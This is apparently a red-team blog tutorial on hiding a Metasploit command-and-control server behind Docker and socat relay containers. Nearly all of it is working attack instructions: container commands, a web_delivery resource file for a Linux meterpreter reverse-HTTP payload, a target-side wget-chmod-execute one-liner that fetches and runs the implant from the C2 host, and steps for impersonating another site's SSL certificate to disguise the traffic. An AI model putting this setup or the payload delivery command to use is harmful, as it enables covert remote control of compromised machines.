Hosting and hiding your C2 with Docker and Socat


We want to run a simple C2 that is not exposed to the internet, with multiple socats redirecting our payload delivery and session handling correctly. All this with the help of Docker.
It’s straightforward once you’ve gotten the grip.


Using containers means we get the “it always works” factor, compared to manual installs. Since each Docker image is already built, we can just pull it and have everything working out of the box.
Docker greatly facilitates abstraction of networking and volumes, and makes for easy repeatable deployments.

To quote a seasoned professional:


We’re ideally running our Docker host on a VPS, that we can ssh into. A simple Ubuntu + Docker CE will suffice. There are some free or very cheap options out there.

We wish to keep our C2 container in a segmented Docker network, isolated from the outside. Two socat routes to it are needed.

RouteOutside portC2 port
Payload delivery4438080
Session handling804444

For our C2, we’re going to use Metasploit with the reverse_http meterpreter.

These instructions also work with the meterpreter_reverse_https and meterpreter_reverse_tcp payloads as is.

We’re using the http variant so as to see all the traffic in cleartext at each step for live fiddling. Prefer encrypted channels when performing exercises.

In our case, the payload is served on port 443, but using http. You can add an SSL certificate, explained later in this article.

Setup 🔧


This post won’t introduce Docker as there are plenty of excellent write-ups. For this post, you need to have a grasp on Docker networks and volumes.

Try running the hello-world container to check:

$ docker run hello-world # Hello from docker

Let’s create our isolated network first:

$ docker network create c2-net


We’re now going to create two different socat containers, one for each route.
We’re going to launch our two socat containers as daemons.

Socat will natively resolve the msf container hostname since they will all be in the internal c2-net network.

🔹 The first one, redirecting port 443 to our Metasploit web_delivery server on port 8080:

$ docker run --rm -d -p 443:443 --network=c2-net --name socat_delivery alpine/socat -v TCP4-LISTEN:443,fork TCP4:msf:8080

🔹 The second one for our meterpreter session, from port 80 to the Metasploit handler on port 4444:

$ docker run --rm -d -p 80:80 --network=c2-net --name socat_handler alpine/socat -v TCP4-LISTEN:80,fork TCP4:msf:4444

The containers are now running in the background. I’ve launched them with the optional verbose argument for easier fiddling.

To view the logs, you can either:

  • Run docker logs CONTAINER where container could be socat_delivery
  • Instead of starting the container as a daemon with -d, replace the option with -it to receive output in the foreground. You’ll need new separate terminals to run both socats.

Edit: If you’re discovering docker, you’ll soon understand we could have replaced socat with docker port-publishing. In this post we’re deliberatly using socat to experiment with proxifying, micro services, and session handling with Metasploit. If you need a quick Metasploit container directly connected to the internet, use -p/--publish with the corresponding ports.


In this post, I’ll be running the meterpeter_reverse_http on a Linux x64 target.
If you wish to target something else (Windows, OSX), use show targets and show payloads and set the TARGET and PAYLOAD options accordingly.
You may also start ./msfconsole without any resource file and configure it manually.

$ mkdir socat-msf
$ cd socat-msf
$ nano docker_delivery.rc

Here are the options to set for Metasploit. You can edit and copy them directly to a resource file that we’ll mount to the Metasploit container.

Copy the following in the file, replacing YOUR-C2-EXT-IP. Save and exit.

use exploit/multi/script/web_delivery
show targets
set target 6
show payloads
set payload linux/x64/meterpreter_reverse_http
set URIPATH delivery
set LURI handler
set LPORT 80
set ReverseListenerBindPort 4444

🔹 And now launch the Metasploit container:

$ docker run --rm -it -v `pwd`/docker_delivery.rc:/opt/metasploit-framework/docker_delivery.rc --network=c2-net --name msf phocean/msf  

 * Starting PostgreSQL 10 database server                                                                 [ OK ] 

$ ./msfconsole -r docker_delivery.rc

*** snip ***

# Check that everything looks okay
msf > show options
msf > show advanced

# Hold the trigger a bit longer in case you wish to make last second changes
msf > run

Running the delivery chain 💥

Once everything looks okay, launch the web_delivery script with run.

Metasploit will output a useful command to run directly on your target to fetch and execute the meterpreter payload.
Metasploit will output a bind error, and bind directly on It’s okay, the container environment just confused it a bit.

msf exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.

[-] Handler failed to bind to YOUR-C2-EXTERNAL-IP:4444
[*] Started HTTP reverse handler on
[*] Using URL:
[*] Local IP:
[*] Server started.
[*] Run the following command on the target machine:
wget -qO 0976ysRZ --no-check-certificate http://YOUR-C2-EXTERNAL-IP:8080/delivery; chmod +x 0976ysRZ; ./0976ysRZ&

We’re going to change that final command to run on the target with the correct options. In this scenario, we launched a simple reverse_http served on port 443 (and not served by https).

🔹 On the target machine:

$  wget -qO 0976ysRZ --no-check-certificate http://YOUR-C2-EXT-IP:443/delivery; chmod +x 0976ysRZ; ./0976ysRZ&

And here is the output from the Metasploit container:

msf exploit(multi/script/web_delivery) >
[*]       web_delivery - Delivering Payload (1046512) bytes
[*] http://YOUR-C2-EXT-IP:4444/handler handling request from; (UUID: kbsvqwg9) Redirecting stageless connection from /handler/rxKWQMcwr4jPs8mxkfOKIAYcPDcHXJlb3SZUA-IFGJfmx with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] http://YOUR-C2-EXT-IP:4444/handler handling request from; (UUID: kbsvqwg9) Redirecting stageless connection from /handler/rxKWQMcwr4jPs8mxkfOKIAeeYSq5uKlqfZ with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] http://YOUR-C2-EXT-IP:4444/handler handling request from; (UUID: kbsvqwg9) Redirecting stageless connection from /handler/rxKWQMcwr4jPs8mxkfOKIAk8emJzI2nJw4b with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] http://YOUR-C2-EXT-IP:4444/handler handling request from; (UUID: kbsvqwg9) Attaching orphaned/stageless session...

msf exploit(multi/script/web_delivery) > sessions

Active sessions

  Id  Name  Type                   Information  Connection
  --  ----  ----                   -----------  ----------
  1         meterpreter x64/linux      -> (

Delivering and communicating with https 🔒

To add https, no further socat configuration is required, since we chose port 443 for delivery earlier.

The SSL certificate can be used:

  • When delivering the payload
  • When communicating with the payload

To use an SSL certificate, you can either:

  • Let Metasploit generate a certificate
  • Impersonate an existing certificate
  • Import a certificate

To let Metasploit generate the certificate, run the resource script. Before firing the web_delivery script, add:

msf exploit(multi/script/web_delivery) > set SSL true

And run.

On the target simply use https://YOUR-C2-EXT-IP/delivery as the wget URL instead of the generated one.

If you want to impersonate a certificate, use the dedicated auxiliary module:

msf > use auxiliary/gather/impersonate_ssl
msf auxiliary(impersonate_ssl) > set RHOST
msf auxiliary(impersonate_ssl) > run

[*] Connecting to
[*] Copying certificate from
/C=US/ST=California/L=Mountain View/O=Google Inc/ 
[*] Beginning export of certificate files
[*] Creating looted key/crt/pem files for
[+] key: /opt/metasploit-framework/loot/
[+] crt: /opt/metasploit-framework/loot/
[+] pem: /opt/metasploit-framework/loot/
[*] Auxiliary module execution completed
msf auxiliary(impersonate_ssl) > 


If you wish to import a certificate from the Docker host, make sure you mounted the required files to the Metasploit container using an additional -v argument, like we did with the docker_delivery.rc file.

If you want your payload served using a custom SSL cert:

msf exploit(multi/script/web_delivery) > set SSLCert /path/to/pem
msf exploit(multi/script/web_delivery) > set SSL true

If you want the payload to verify your custom SSL cert with the handler:

msf exploit(multi/script/web_delivery) > set HandlerSSLCert /path/to/pem
msf exploit(multi/script/web_delivery) > set stagerverifysslcert true


  • If you quit out of the containers using CTRL+C and did not use the --rm option, you’ll have to remove the stopped containers to run them again with:
$ docker rm -f msf
  • If you need to manually remove a container from a network:
docker network disconnect -f c2-net socat_handler
  • You can use a small container as a target. Run the following to get a quick shell to a new container to execute the payload:
$ docker run -it alpine sh
  • The Metasploit container is by phocean and includes an initialised PostgresDB. You can check that it is running correctly with:
msf > db_status
[*] postgresql connected to msfdb
  • You can add already existing containers to a new network using:
$ docker network connect c2-net new-msf

💭 I’ll hopefully be posting more on docker-based red team infrastructure, as there are still plenty of things to talk about. Also, if you spot a mistake, feel free to let me know.
Follow me on Twitter if you wish to stay updated!

About Mahyar

OrcID: 0000-0001-8875-3362 ​PhD Candidate (National Academy of Sciences of Ukraine - Institute for Telecommunications and Global Information) MCP - MCSA - MCSE - MCTS Azure Security Engineer Associate MCITP: Enterprise Administrator CCNA, CCNP (R&S , Security) ISO/IEC 27001 Lead Auditor CHFI v10 ECIH v2

Check Also

Utilizing a Common Windows Binary to Escalate to System Privileges

Windows pwnage courtesy of trusted Windows binaries Introduction If you’ve ever tried to run a …